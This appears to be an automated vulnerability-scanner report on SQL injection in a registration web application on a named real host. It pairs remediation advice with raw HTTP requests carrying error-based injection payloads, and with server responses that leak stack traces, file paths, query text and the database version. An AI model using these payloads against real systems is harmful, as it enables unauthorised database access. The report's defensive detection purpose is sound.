SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
cs
GET
S0001
sn
GET
0049
Extracted Data
microsoft sql server 2000 - 8.00.760 (intel x86)
dec 17 2002 14:22:05
copyright (c) 1988-2003 microsoft corporation
enterprise edition on windows nt 5.0 (build 2195: service pack 4)
Request
GET /semreg/enroll.aspx?ow='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&cs=S0001&sn=0049 HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:37:33 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5630
<html> <head> <title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
microsoft sql server 2000 - 8.00.760 (intel x86)
dec 17 2002 14:22:05
copyright (c) 1988-2003 microsoft corporation
enterprise edition on windows nt 5.0 (build 2195: service pack 4)
Request
GET /semreg/detail.aspx?ow='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97)))%20%2B'&cs=S0001&sn=0049 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:39:18 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5628
<html> <head> <title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
sn
GET
0049
Extracted Data
microsoft sql server 2000 - 8.00.760 (intel x86)
dec 17 2002 14:22:05
copyright (c) 1988-2003 microsoft corporation
enterprise edition on windows nt 5.0 (build 2195: service pack 4)
Request
GET /semreg/enroll.aspx?ow=FKH&cs='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&sn=0049 HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:39:19 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5630
<html> <head> <title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Extracted Data
microsoft sql server 2000 - 8.00.760 (intel x86)
dec 17 2002 14:22:05
copyright (c) 1988-2003 microsoft corporation
enterprise edition on windows nt 5.0 (build 2195: service pack 4)
Request
GET /semreg/enroll.aspx?ow=FKH&cs=S0001&sn='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:42:00 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5630
<html> <head> <title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.
Remedy
A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Invalid column name 'NSFTW'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Invalid column name 'NSFTW'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'NSFTW'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'NSFTW'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
GET /semreg/enroll.aspx?ow=FKH&cs=S0001&sn=%27 HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 14:01:36 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5538
<html> <head> <title>Unclosed quotation mark before the character string '' AND GETDATE() >= SN.SXT_D_REG_ST AND GETDATE()-1 <= SN.SXT_D_REG_END '.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Unclosed quotation mark before the character string '' AND GETDATE() >= SN.SXT_D_REG_ST AND GETDATE()-1 <= SN.SXT_D_REG_END '.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string '' AND GETDATE() >= SN.SXT_D_REG_ST AND GETDATE()-1 <= SN.SXT_D_REG_END '.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Unclosed quotation mark before the character string '' AND GETDATE() >= SN.SXT_D_REG_ST AND GETDATE()-1 <= SN.SXT_D_REG_END '. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at 